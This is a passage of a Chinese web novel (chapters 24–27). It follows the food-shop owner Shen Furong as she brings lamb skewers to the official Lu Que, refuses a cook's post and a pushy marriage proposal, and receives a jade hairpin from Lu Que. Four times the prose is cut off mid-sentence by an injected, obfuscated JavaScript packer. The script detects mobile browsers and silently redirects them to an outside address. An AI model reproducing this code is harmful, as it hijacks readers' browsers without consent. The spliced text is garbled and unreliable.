沈芙蕖取来干净纱布，裁作掌心大小，每片纱布上放置一撮三年的老白茶、新会陈皮一瓣、干桂花少许，再用细线扎紧，做成茶包，这陈皮老白茶理气健脾、提神不伤胃，倒是适合陆却的体质。 她又将新烤的羊肉串用油纸包好，与茶包同置食盒。临合盖时，忽而笔尖一顿，只在笺上落下“注意养胃”四字便作罢，多写反倒矫情。 大理寺门前，她将食盒交与相熟的衙役，寒暄两句便转身离去。如今她这身份，实在不宜频频出入官署。更何况办案重地，岂容闲杂干扰。 刚走出没几步，便又看见那日来芙蓉盏吃面的华服女子，搀着陆却的胳膊，有说有笑从大理寺出来了。 说是女子，其实称作少女更妥当，她年纪小，身上却有一种与年龄不相称的世故，所以看着成熟些。这和沈芙蕖又不大一样了，沈芙蕖风吹日晒，整日操劳，因此看起来比实际年龄大几岁。 沈芙蕖不动声色退到獬豸像旁，也不知为何，总不想站出来面对他们，可转念又想，自己又没做什么见不得人的事，于是仰起脸来，大步往前走去。 陆惠善好不容易等到陆却休沐，左等右等又不见其回府，只好亲自来大理寺寻人，好在这次她再没遇见那讨人厌的周寺正。 “哥，我给先给你提个醒，母亲近日又在张罗你的亲事了，你要是再不回去呀，说不定她就把你的生辰八字给了罗家二姑娘了。”惠善觑着陆却神色，像年幼时那样亲热挽上他的胳膊。 陆却有些犹豫，但最终没推开，一边听着妹妹叽叽喳喳，一边朝门外走去，忽然瞥见一道熟悉的倩丽身影。 她今日穿一身湖蓝色交领襦裙，衣料是汴京时兴的越罗。 若说沈芙蕖是专程来寻他，他定会不悦。可若她不是为他而来，这个念头让他的脸色更沉了几分。 “咦，那不是芙蓉盏的沈娘子，她怎么会来大理寺？哥，她是来找你吗？”陆惠善轻声问道，用审视的眼光打量沈芙蕖。 “只是路过罢。”陆却的声音平静得听不出情绪。 陆惠善笑着说：“哥，你和沈娘子熟吗？上次小厮从芙蓉盏买了些鸭货回去，母亲吃了也说好，不如咱们把她请回家当厨娘可好？” 还未等陆却拒绝，陆惠善便自作主张抬高声音唤了声“沈娘子等一下”。 沈芙蕖闻声回头，只见陆惠善笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16099609|179799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 容可掬地向她招手。她站在原地未动，心想，这路就这么宽，他们总要往这边走，何必非要她折返回去？ 沈芙蕖梳了个简单的同心髻，簪一支素银缠丝钗，钗头坠着两颗小巧的珍珠。面上未施脂粉，唇上点了淡淡的胭脂，眉不画而翠，更显得她眸光清亮。 她是美的，但她似乎没把自己的美貌当回事。 陆惠善的笑便堆在脸上，走上前两步，赶上了沈芙蕖，说明来意后，沈芙蕖眉头皱得更深了，只是问道：“陆府的掌事厨娘，一个月月钱有多少呢？” 陆惠善答：“普通厨娘一个月七贯钱，掌事厨娘两倍不止，逢年过节还有主子打赏，若是哪门宴会办好了，赏钱更是丰厚。” “哦，那是挺多的。”沈芙蕖说。 陆惠善眉眼间扬起一丝得意，来陆府当差，是多少人梦寐以求的事情。 “可是我赚得比这多得多。况且我生性爱自由，有自己的想法，不喜欢听别人使唤，所以辜负陆府的美意了。”沈芙蕖斩钉截铁拒绝了。 “可在外抛头露面，总不如在府里当差体面，也省得这般辛苦。”陆惠善说出心中所想。 沈芙蕖笑笑：“自己挣来的饭，吃得最香。我这双手不仅能养活自己，还能额外养活四个伙计。这样的日子，我过得骄傲，更不觉辛苦。” 陆却皱眉，沉声道：“惠善，别自作主张。” 陆惠善闻言，面上闪过一丝窘迫，随即展颜笑道：“沈娘子，是我冒昧了。实在是你做的吃食太过美味，这才起了邀你入府的念头。如今想来，你本就是金鳞之质，岂是陆府这小小水池能留得住的？” 沈芙蕖懒着理会，说道：“若没有别的事，我就先告辞了。” 沈芙蕖微微欠身行礼时，陆却的目光不经意落在她臂弯间挽着的食盒上。那小巧的竹编食盒随着她的动作轻轻晃动，竟让他心头无端一轻。 说来也怪，方才还觉得沉闷的官道，此刻连路边的垂柳都显得青翠可人，天边的流云也似有了生气，悠悠荡荡地舒展开来。 待沈芙蕖走远，陆却忽然驻足：“惠善，你先回府吧。我突然想起还有桩案子要核查。” 陆惠善一怔：“那我等着哥哥一道回去？” “不必。”陆却语气虽淡，却不容置疑：“你先回，我随后便到。” 今日休沐，大理寺的衙役早已散了大半，一位长脸衙役见陆却去而复返，很是惊讶，说：“陆大人，您回来得正好！方才沈娘子，就是之前操办春宴的那位，给你送了个食盒。” “在哪里？”陆却道。 “啊，她人刚走，食盒还在我这呢，我还没来得及呈给大人您。”衙役搓着手，磕磕绊绊回道。 陆却接过那个食盒，什么也没说，却大步流星走至值房里，端正放在桌上，郑重打开，羊肉已经不热了。 但味道还不错。 25. 第二十五章 沈芙蕖回到芙蓉盏，一进门就对上了几双亮晶晶的眼睛，众人满怀期待看着她，沈芙蕖面上一热，摆了摆手：“都杵着做什么？你们去将剩下的羊肉串……拿十串到卤味摊试试行情，剩下的你们自己分了吃罢。” 羊肉串在汴京并不算稀奇食物，早已有将将肉切块串签烤制的吃法，称为“签炙”或者“签子肉”，高档点的酒楼推出签炙羊排，小贩挑炭炉沿街叫卖热签炙，烟火气十足。但是寻常商贩多用些芥辣、姜醋、杏酱这样的蘸料，像胡椒、孜然、花椒这类西域香料用得少，毕竟价格昂贵。 要想在宵夜行当里站稳脚跟，这羊肉串非得比别家更胜一筹不可。沈芙蕖深谙此道，在选料上就格外讲究，专挑吃沙葱长大的羔羊，肉质细嫩不说，更带着股子清香，半点不显膻气。 腌制更是马虎不得，她舍得下本钱，将胡椒、孜然细细研磨了，同花椒一道调成秘料，还会搁些沙果片一道腌制羊肉。沙果类似于现代的海棠果，酸甜口味，最是解腻，更让肉质愈发松软。 炭火也很要紧，寻常人家用些杂木炭也就罢了，沈芙蕖非果木炭不用，这般烤出来的肉串，外头焦香酥脆，里头鲜嫩多汁，油脂的香气混着果木的芬芳，当真别有一番风味。 大双刚把肉串架上炭火，随意翻烤了几下，便有人抽着鼻子凑过来问了：“真香！这签子肉怎么卖？” 张澈笑吟吟递过去一串：“新张惠客，也就八文钱一串，两串十五文。但这串是送给客官尝尝的，不要钱，好吃您再买！” “别人家就五文钱，芙蓉盏卖的有些贵了罢。”那食客嘴上嘟囔着，手却诚实地接过肉串，吹了两口便迫不及待送进嘴里，一口下去，油脂混着肉汁在口中迸开，外皮的焦香裹着内里的鲜嫩，竟吃得跺脚晃脑起来。 张澈笑着说：“值不值这个价，您尝尝便知道了，是不是？” 食客二话不说，从腰间褡裢里排出十五枚铜板，说道：“确实好吃，那我再来两串。” 阿虞趁机插话：“等过几天，我们二楼的雅间开张了，晚上也能来吃签子肉。客官若得闲，不妨带朋友来尝个新。” 没过一会，食客们便把羊肉串买得差不多了，张澈留下三串，用纸包好了塞给阿虞：“这是专给你阿婆留的，火候特意烤得嫩些，老人家牙口也能受用。” 花婆婆一把年纪了，身子骨却比年轻人还硬朗。每日天不亮就在草市坊里腌酱瓜，沈芙蕖不但自家店里用，还帮她往别处销货。老人家干劲十足，常常鸡鸣时分就起来忙活，倒比阿虞还勤快几分。 沈芙蕖回到房中，轻轻掩上门便隔绝了外面的喧闹。屋内陈设简单，收拾得干净利落，一张梳妆台摆在窗边，台上只搁着一把桃木梳、一支素银簪，还放着一盒胭脂，只用了薄薄一层，黑粗陶罐里插了折枝的紫色紫薇，给这间简朴的屋子里增添了些生机。 靠墙是一张窄床，被褥叠得齐整，可她并没有躺上去。圆桌上摆着茶壶和两只倒扣的瓷杯，她拎起壶晃了晃，里头还剩半壶冷茶。也懒得再烧水，就这么给自己斟了一杯，凉茶入口微涩，倒让她混沌的思绪清醒了几分。 她眼前又浮起刚才的情形，少女挽着陆却的手臂，笑语盈盈，而陆却虽面色冷淡，却也没推开她。沈芙蕖不由轻嗤一声，真是个假正经。 自己把冷茶一饮而尽，对着镜子重新梳发，镜中的女子浓眉大眼，却因连日操劳略显疲惫。正出神间，忽听阿虞在门外唤她。 来的人是原来摆摊时隔壁卖炊饼的张大娘，原先对她开店，她酸话便有一箩筐，现在店里生意不错，她又打起了别的主意，想撮合自家侄儿与她成婚。 沈芙蕖的原身明年便十七了，在汴京正是适婚的年纪。当初哥嫂刚等她及笄，就迫不及待要将她嫁出去，她逃到草市坊自立门户，却仍逃不过被人说亲的命运。 张大娘一进门，便笑得见牙不见眼，手里还拎着一篮新蒸的炊饼。她将篮子往桌上一放，亲热地拉住沈芙蕖的手道：“沈娘子啊，大娘今日可是带着好事来的！” 沈芙蕖不动声色地抽回手，给她斟了杯茶：“大娘有话直说便是。” “哎哟，你这孩子！”张大娘拍着大腿：“我有个侄儿，今年也有十九了，在城南有间木匠铺子，手艺可好了！前些日子给李员外家打的雕花床，人家赏了五贯钱呢！” 见沈芙蕖没搭话，又说：“我瞧着你一个女儿家，整日抛头露面的也不是个事儿。我那侄儿老实本分，你要是嫁过去，就在屋里做做针线，这店外的活儿都交给他……你只管着相夫教子享清福。” 阿虞在一旁听得直撇嘴，忍不住插话：“我们掌柜的一天能赚一贯钱呢，您侄儿那五贯钱的床得打多久？芙蓉盏开张起来，花了有两百贯钱，把你侄子一家卖了，可值这么多钱？” 沈芙蕖打断了她的话：“我这妹子说的夸张了，挣不了那么多，也就是勉强能养活自己。” 张大娘脸色一僵，随即又堆起笑：“话不能这么说！我家又不是图你的食肆。女儿家总要找个依靠不是？你哥嫂为什么还敢欺负你，还不是因为你没个婆家在后面撑腰！再说了，你这铺子虽好，到底是租的。我那侄儿可是在城南置了宅子的！” 沈芙蕖慢条斯理地抿了口茶：“张大娘的好意我心领了。不过我这人野惯了，怕是不适合相夫教子的日子。您那侄子，条件太好，只怕是我高攀了。” 张大娘急得直拍桌子：“哎哟，这话说的！你自幼没了爹娘，自己要考量自己的终生大事啊，你明年就十七了吧，再不嫁人，拖成老姑娘可就没人要了……” 沈芙蕖微微一笑：“再不嫁人，我这芙蓉盏的生意还能再翻一番。” 阿虞是个心直口快的丫头，自打张大娘开口说第一句，她便想拿扫帚把人扫出去，一路听下来，白眼都快翻上天了，不客气道：“大娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16099610|179799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，非得让我把话说明白才行么，沈姐姐长得这么漂亮，聪明又能干，便是配个官老爷都使得，你侄子除了会刨几块木头，还有什么拿得出手的？” 张大娘被这一通抢白说得脸色青一阵白一阵：“我侄儿可是正经手艺人！” “大娘，你对男人的要求也太低了罢，是个正经人就行了？张屠户家的狗儿要配种，还晓得挑个毛色光亮、体格健壮的。”阿虞嘲讽道。 沈芙蕖轻咳一声，示意阿虞适可而止。她将茶盏往张大娘面前推了推，温声道：“大娘，婚姻大事讲究个你情我愿。您侄儿自有他的好，只是与我实在不般配。” 张大娘被噎得说不出话，半晌才悻悻道：“你们这些年轻姑娘，心气儿都高得很。等再过两年，你就知道大娘是为你好。”说罢拎起篮子就走，又将那筐炊饼拿了回去。 阿虞冲着她的背影做了个鬼脸：“癞蛤蟆想吃天鹅肉！” 沈芙蕖心想，也许她侄子也是个不错的，只是我现在实在没有心情谈婚论嫁，只是一心想把事业做起来。 “沈姐姐，我刚才说的都是肺腑之言，我一点也不觉得你比那些官家娘子们差，就是配上大理寺的陆大人，也是绰绰有余！”阿虞眼中闪着坚定的光芒。 沈芙蕖连忙捂住这丫头的嘴：“快别胡说了，张大娘还没走远呢，若是叫她听见了，指不定还要编排我不知检点，整日里想着攀附大理寺卿了！” 眼下雅间还需添置些摆设，店里的人手也不够，得再招两个帮工。一桩桩一件件，哪还有心思理会这些闲事？ 转眼到了七月末，二楼的雅间如期开张。宵夜的生意红火得出人意料，芙蓉盏又添了两个打杂的小丫头，整日里欢声笑语不断，芙蓉盏更热闹了。 这日，沈芙蕖刚带着张澈采买香料回来，一进门就瞧见张大娘领着个瘦高小伙坐在角落里吃面。阿虞一个劲儿地朝她挤眉弄眼，沈芙蕖顿时会意，这想必就是那位木匠侄子了。 既是来照顾生意的，总不好赶人，只得装作没看见。 那名叫张勉的小伙一边吸溜着面条，一边偷偷打量着沈芙蕖。只见她眉目如画，身段窈窕，比姑母说的还要标致几分。更难得的是，这般美人儿竟还如此能干。 汴京城里好看的女子都是娇贵的，要用很多银子养的，可沈芙蕖不但不花男人的钱，反倒能赚得盆满钵满。 张大娘盯着水牌上的价目，心头直滴血。一碗红烧羊肉面竟要二十文！这得卖多少炊饼才挣得回来？可当着阿虞的面，又不好让小辈付账，只得咬牙掏钱。 转念一想，若是这丫头成了自家人，往后莫说一日三餐，便是夜宵点心，还不是想吃就吃？ 她堆起笑脸，扯着嗓子喊道：“沈娘子，来来来，给你引见引见，这是我侄儿张勉，在城南可是数一数二的巧手木匠！” 沈芙蕖立刻道：“大娘，我楼上的装修已经到位了。” 26. 二十六章 张大娘一把拽住沈芙蕖的衣袖，嗓门亮得半个店堂都能听见：“哎呀！上次回去大娘我仔细想了想你和程娘子的话，沈娘子，也怪我说话太直，让你难为情了是不是？姑娘家矜持一点也好！今天，我把人给你带来了。” “你瞧瞧我这侄儿……”张大娘将那瘦削小伙往前一推，就像推销自家炊饼一样：“这眉眼，这身板，天庭饱满，地阁方圆，简直就是画上的潘安！虽说皮肤黑了点，可那是正经干活儿晒出来的，比那些白面书生不知强多少倍！” 沈芙蕖没见之前，还以为她侄儿是个多么标志的人物，听张大娘描述，他身高有七尺五寸，站在人堆里就跟棵青松似的，那肩膀宽的，扛起百十斤的木料都不带晃的。 可眼前的人除了身高没造假外，其他全部对不上啊，就是一个街上随处可见的普通人。这……货不对板吧。 沈芙蕖唇角挂着客套的笑：“大娘说笑了，我这会儿还得去后厨盯着火候……” “哎哟，灶上的事交给伙计不就行了？”张大娘不依不饶地堵住去路：“女人家终究要嫁人的，你这铺子再红火，难道还能当一辈子掌柜？” 她说着竟掏出一块绣着鸳鸯的红绸，无耻道：“瞧瞧，我们家连定亲的聘礼都备好了！绝不亏待你！” 张勉涨红了脸，眼睛却直往沈芙蕖腰间荷包上瞟，那鼓鼓囊囊的轮廓，少说能装五两银子吧，这般能干，更让他自惭形秽。 张大娘这一番说亲的动静，引得满堂食客都搁下了筷子。有人伸长脖子张望，有人交头接耳，更有好事者干脆转过身来，明目张胆地看起热闹。 “我觉得这话倒也在理。”一个穿着粗布短打的汉子低声对同伴道：“女子家再怎么能干，终究是要嫁人的。而且我瞧呐，这小伙长得也算周正……” 邻桌的老秀才却连连摇头：“非也非也！《礼记》有云：男女非有行媒，不相知名。这般当众说亲，实在有违礼数！” 角落里几个常客更是面露不屑：“这老婆子好不识趣！没见沈娘子都躲到柜台后头去了？还这般死缠烂打，真是没羞，说媒也不是这么个说法……” 话未说完，便被同伴使眼色止住，张大娘正竖着耳朵往这边瞧，狠狠给了她们一个“多管闲事”的凶狠眼神。 最尴尬的要数张勉，他坐在堂中，只觉得四面八方投来的目光像针一样扎在身上。姑母每夸一句，他的背就佝偻一分，最后几乎要把脸埋进衣领里。 沈芙蕖看出了张勉的难为情，估摸也是个没主意的男子，长辈要他做什么，他也不好意思拒绝。 大双皱着眉，挽了把衣袖，这大娘怎么没完没了的？若是再耽误店里做生意，他可就要把这姑侄俩提溜出去了。 正当沈芙蕖进退两难时，鹦鹉蹦跶着欢快喊道：“客官里面请！客官里面请！官人真俊！官人真俊！” 众人不约而同转头望去。 陆却一袭靛蓝私服立在门口，他眼如墨，鼻若悬胆，唇薄如刃。漆黑如点漆，冷冷一扫，便叫喧闹的食肆霎时鸦雀无声。 他目光在张大娘攥着红绸的手上停留一瞬，又淡淡扫过张勉那张涨成猪肝色的脸。 “一碗馄饨。”他径直走向角落的方桌，拉开凳子坐了上去。 张大娘的手僵在半空，她还没见过长得这般像谪仙的人物，硬生生将刚才那句形容侄儿“貌若潘安”的词咽了回去。 阿虞最先回过神，喊了声“马上来”，经过大双身边时，还促狭地眨了眨眼。 大双嘀咕着，芙蓉盏如今不卖馄饨，若是想吃，还要现擀皮、调馅儿，只怕客人等不急，不知为何，阿虞不提醒。 沈芙蕖松了一口气，陆却一来，她总算可以脱身，拎着壶茶便走了过去，装作很熟的样子，热络道：“大人今日怎的得空来小店？” 原来，大理寺一名衙役在办案过程中，马儿发狂将人从马背上摔下来，摔死了，也算是因公殉职。 作为顶层上峰，陆却带着同僚亲来吊唁，死的衙役很年轻，上有老下有小，妻子肚子里还有一个遗腹子，哭得几度昏厥。 从那衙役家中走出来，心里不是滋味，走着走着便来到了芙蓉盏，他特别想吃一口滚烫的食物。 陆却早就到门口了，总觉得没想到合适的理由进来，直到听到一位大娘硬要把侄子塞与她，他便进来了，这些话，陆却没说，目光在她腕间顿了顿，只说：“正好路过。那位是？” “哦，都是街坊邻居罢了。”沈芙蕖侧身挡住张大娘探究的视线。 角落里，张勉缩着脖子往姑母身后躲。他虽不认得那陆却是何人，只晓得这长相，这气度，绝非一般人能比，之前让他打雕花床的李员外，也没他有气质呢！ 躲什么呐！张大娘看见侄子这般上不得台面的举动，讪讪地收起红绸，拽着侄子往外挪。 “沈娘子，大娘也是一片好心，你可别不识抬举！别以为开个小铺子，攀扯上几个体面人，就真当自己是个人物了。朱门配朱门，竹门配竹门，你家一个卖盐的，就该找一个打木头的。我劝你别存那些不着调的心思。有些人啊，可不是你这样的身份能惦记的，别用错了心思，到头来竹篮打水一场空呢！”张大娘忍不住讥诮道。 这话不说还好，一说沈芙蕖的怒火蹭蹭往上冒，说道：“大娘这话，倒让我想起西瓦子说书人常讲的一句古话：燕雀不知鸿鹄志，蚍蜉妄撼参天木。我沈芙蕖的芙蓉盏，一日流水抵得上木匠铺半月盈余。我办的筵席，能进汴京七十二正店的席面。我结交的贵人，敬的是我这一双手的本事，而非祖上荫庇。今日既然把话说到这份上，不如先把饭钱结清了，再论什么朱门竹门？二十文一碗，概不赊账。” 食客们传来压抑的嗤笑声。“好了大娘，别再王婆卖瓜自卖自夸了，你家侄子，确实挺一般的，你就别难为人家沈掌柜了……” “大娘，你有这当媒人的劲头，不如好好钻研你们家的炊饼罢，最近烤得是越来越老了，差点把我的大板牙给磕掉。再这么下去，你那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16099611|179799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生意都得黄！” 张大娘脸色由红转青，臊得把侄子拉走，临出门时又忍不住回头，正瞧见陆却从沈芙蕖手中接过碗勺。 阿虞对着门外的鹦鹉，小声嘀咕：“以后你若是瞧见这姑侄俩，就在外头喊几声不要脸，听见没？” 店内喧嚷，张大娘方才那番话还飘在耳边，沈芙蕖却已转身去招呼其他客人。她步履轻盈，声音清亮，仿佛方才的难堪从未发生。 陆却舀起一颗馄饨，入口鲜香，和之前的那一碗味道一样好，心中却莫名尝出一丝涩意。 他想起周寺正的话，这世道，一个女子讨生活是很不容易的，太多的偏见会让她们受更多的委屈。沈芙蕖既要应付市井闲言，又要抵挡明枪暗箭，纵有七窍玲珑心，也难免遍体鳞伤。 陆却眼前浮现那个惨死的下属，他那清贫的家……沈芙蕖手上细小的伤口，勉强的笑……一直在芙蓉盏坐到所有食客都已离去。 沈芙蕖并不知陆却心中所想，只看见一碗馄饨他并没有用多少，所以格外担心他没吃好。 “陆大人，我们掌柜说您是大股东，为报答您对芙蓉盏的投资，特请您上二楼雅间一叙。”阿虞摇头晃脑向陆却转告。 雅间内，沈芙蕖亲手布菜，一碟卤鸭翅和豆干，还有新烤的羊肉串，炭火的香气混着西域孜然，在室内氤氲开来。 她斟了两盏青梅酒，琥珀色的酒液在瓷杯中轻晃。 沈芙蕖将酒盏推至陆却面前：“这酒是阿虞她阿婆花婆婆酿的，用的是城外的青梅，酸甜正好，不醉人。” 陆却接过，却未多言，只将酒一饮而尽。酒液清冽，带着微微的酸，像是藏了许多未说出口的话。 “方才的事，倒让大人见笑了。”沈芙蕖执壶斟酒，眉眼间带着几分赧然：“草市坊就是这般模样。有花婆婆那样古道热肠的老辈人，有阿虞这般心直口快的傻丫头，自然也少不了几个市侩精明的生意人。可正是这形形色色的面孔，才让汴京城的烟火气这般鲜活，您说是不是？” 陆却却放下酒盏，目光沉静地望过来：“你想说什么？” “我瞧大人今日眉头紧锁，似是有郁结在心中。我想告诉大人，生活就是这样，有酸有甜，有苦有涩，我沈芙蕖乐在其中，望大人也是。”一杯酒下肚，话匣子便也松了。 沈芙蕖倚在窗边，望着楼下零星的行人，声音轻得像是自语：“小时候，我娘总说，女子这一生，不过是父家到夫家的一段路。我不觉得，凭什么女子就不能自己挣一条路？” 陆却静静听着，想起白日里张大娘那副嘴脸，胸口又莫名发闷。他又斟了一杯酒，这次喝得慢，任由那酸甜在舌尖蔓延。 “你做得很好。”他突然道，声音低沉，却字字清晰。 沈芙蕖一怔，转头看他，陆却的侧脸线条硬朗，眉宇间的冷峻似乎被酒意柔化了几分。 她忽然笑了，眼角微微弯起：“大人这是在夸我吗？” “是。”陆却回答得干脆。 27. 第二十七章 “说实话，这倒是在我意料外。”沈芙蕖执盏轻笑，眼波流转间带着几分讶异。 陆却神色肃然，指尖在案几上轻轻一叩：“你当得起这声赞。” 沈芙蕖闻言仰首，将杯中残酒一饮而尽。她忽而正色道：“有件事，我倒一直想请教大人。” “但说无妨。”陆却抬眸道。 沈芙蕖直言道：“依我朝律制，寻常盗窃斗殴交由县衙初审，州府与提刑司复核死刑以下案件，刑部再行把关。而大理寺只需终审死刑要案、处置五品以上官员案件，或是处理跨州郡的疑难杂案。可大人何以忙到夙兴夜寐，连府邸都难得一归？” 陆却沉吟片刻，执壶为她续了半盏酒：“不错，大理寺看似只管州府案卷，然天下州府每年呈报的案卷不下百件。若遇牵涉朝官的案子，更要慎之又慎。至于宿在值房，陆某不过是图个清净。每每回府，家母总要过问起居，反倒劳神。” 沈芙蕖恍然失笑：“大人何不早日成家？开了府自立门户，也省得受这些唠叨。上回在大理寺门外遇见的那位小娘子，瞧着便与大人十分登对。” 陆却闻言，目光倏地凝在她脸上，那视线锐利得仿佛要穿透她的心思。静默半晌，才沉声道：“那是家妹惠善，虽非同母，却自幼一处长大。” 沈芙蕖顿时窘迫万分，颊上飞起一抹红霞。原不过是句无心戏言，竟拿他与自家妹妹打趣，当真是失礼至极。 她慌忙执壶斟酒掩饰尴尬：“是我唐突了。说来惭愧，与大人相识这些时日，竟连这般要紧的事都不知晓。” 陆却似乎也不要在意，说道：“无妨，陆某本就未向你提起过。” “我就这一个妹妹，她也很好相处。”陆却想了想，又补充道。 天色慢慢暗了下来，从雅间窗户外望去，烛光渐次亮起。 炭炉上的羊肉串滋滋作响，油脂滴落在火红的木炭上，腾起一阵带着孜然香气的烟。沈芙蕖用铁签轻轻翻动着肉串，火光映得她眉眼格外柔和。 她将一串烤得金黄的羊肉递给陆却：“光喝酒不行，尝尝这个，用的是今早新宰的羔羊，我特意让人留了肋排肉。” 陆却接过，咬了一口，外酥里嫩的肉质在唇齿间化开，混着西域香料的独特风味，竟让他这个素来不重口腹之欲的人也微微颔首：“确实鲜美。” “你别看现在雅座还没人，再晚一些，就有很多人上来了。”沈芙蕖抿唇一笑，眼角弯起浅浅的弧度：“大人若是喜欢，往后常来便是。” 她说着又为他斟了半杯青梅酒：“这酒配羊肉最好，解腻又暖胃。” 楼下突然传来一阵喧哗，隐约能听见阿虞提高的嗓音：“客官稍等，这就给您上菜！” 沈芙蕖侧耳听了听，无奈地叹了口气，她起身理了理裙裾：“怕是又来了不少熟客，我得下去瞧瞧，大人稍坐，我去去就回。” 陆却点头，目送她匆匆离去的背影。那袭湖蓝色的衣裙在楼梯转角一闪而过，像是一尾游入深海的鱼。 楼下，芙蓉盏正是最忙的时刻。几张方桌都坐满了客人，大双小双来回穿梭，端着一盘盘热气腾腾的面条。沈芙蕖刚下楼，就被几个熟客叫住。 “沈娘子！今日的卤鸭翅怎么比往日更入味了？”一个满脸络腮胡的汉子大声问道。 沈芙蕖笑着耐心解释：“新加了一味草果，是前日从岭南运来的。”她边说边帮忙收拾桌上的碗筷，动作利索，一个人抵得上另外两个小丫头。 阿虞凑过来，压低声音道：“沈姐姐怎么下来了？那陆大人怎么办？” “没事。总不能怠慢了其他客人，我也不能看着你们忙得脚不沾地，自己一味在楼上躲懒。”沈芙蕖轻声说，眼角余光却忍不住往楼上瞥了一眼。 楼上雅间，陆却独坐窗前。窗外的暮色已经完全暗了下来，远处汴河上的画舫亮起了灯笼，星星点点地浮在水面上。他望着那灯火出神，忽然从袖中取出一个簪子。 楼下传来一阵脚步声，他迅速将簪子纳入袖中。 沈芙蕖推门而入，额上还带着一层汗珠：“让大人久等了，今日客人格外多。" 陆却道：“生意兴隆是好事。” 沈芙蕖刚要说话，楼下又传来一阵喧哗。她皱了皱眉，正要起身，却被陆却拦住。 “今日叨扰已久，我也该告辞了。”他站起身来，摸出了今日的饭钱。 沈芙蕖一怔，随即点头：“那我送送大人。” 店门口，夜风微凉。陆却站在台阶上，忽然转身：“沈娘子。” “嗯？” 他从袖中取出那个簪子，递到她面前：“之前的事我是我唐突了。” 沈芙蕖疑惑地接过，打开一看，竟是支精致的玉簪。半开的荷花沾着晨露，盈盈欲滴。 “这是……”沈芙蕖一时语塞，抬眸望向他。 陆却的目光落在她发间那支素银簪上。那是他从大理寺膳房捡到的，还了后没想到她一直戴着。这个发现让他心头微动，声音也不自觉低了下来：“就当是给你赔罪了。” 沈芙蕖指尖轻抚过簪上的花瓣，忽然笑了：“大人不会是从妹妹那拿的吧！不过，我很喜欢。” 夜风拂过，吹动她额前的碎发。陆却的手半空中停住，转而理了理自己的袖口：“回去吧，起风了。” 陆却转身走入夜色，背影渐渐与草市坊长街的阴影融为一体。沈芙蕖望着他远去，直到再也看不见。 芙蓉盏自开了宵夜，生意已非火爆二字可形容，简直到了令人咋舌的地步。从晨曦微露到夜半更深，食客络绎不绝，门前车马喧嚣，连巷口的路都被踩得油光发亮。 沈芙蕖思来想去，终是定下个法子，将铺子分作三处经营。阿虞与大双坐镇面馆，专管面条，应付那些匆匆果腹的散客。 小双领着个杂役支起卤菜摊子，引得路人频频驻足。 张澈带着两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16105642|179799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个伶俐丫头专司二楼雅间，青梅酒配炙羊肉，专招待那些讲究的体面人。 这般安排勉强撑了几日，仍是手忙脚乱。沈芙蕖一咬牙，又添了三个手脚麻利的堂倌。 转眼间，芙蓉盏竟成了个十一人的大铺面，而她这个掌柜，也从当初单打独斗的小娘子，摇身一变成了统管全局的东家。 这日晌午，张澈趁着喝水的空当，抹了把额头的汗，笑道：“掌柜的，照这般势头，不出一年，你准能盘下座大酒楼。” 沈芙蕖正拨着算盘，闻言笑道：“那便借你吉言了。” 其实要想在一年之内开酒楼，还是火候不够。芙蓉盏生意看似兴隆，但成本也不可小觑，利润远没有大家想得高。 阿虞趁着收拾碗筷的间隙，偷偷拽了拽张澈的袖子：“你有没有发觉，沈姐姐这几日心情格外好？前日赵大头来找茬，她竟还笑眯眯地给人多添了一勺浇头。” 张澈擦了擦汗，压低声音道：“可不是！你也发现了？我方才瞧她记账时，嘴角还带着笑呢。” 阿虞歪着头，一脸困惑：“真是稀奇，难不成忙疯了？” 正说着，赵清晏又来了。这回他手里捧着一束金灿灿的向日葵，说什么“既能赏玩，瓜子还能嗑”。沈芙蕖笑着接过，转手就将瓜子分给了店里的食客。 赵清晏目光在她发间一扫，见那支素银簪子终于换了下来，不由挑眉：“看来芙蓉盏是真挣钱了。” 沈芙蕖却摇摇头：“这就满足啦？只可惜……” “可惜什么？”赵清晏倚在门边，饶有兴趣地问道。 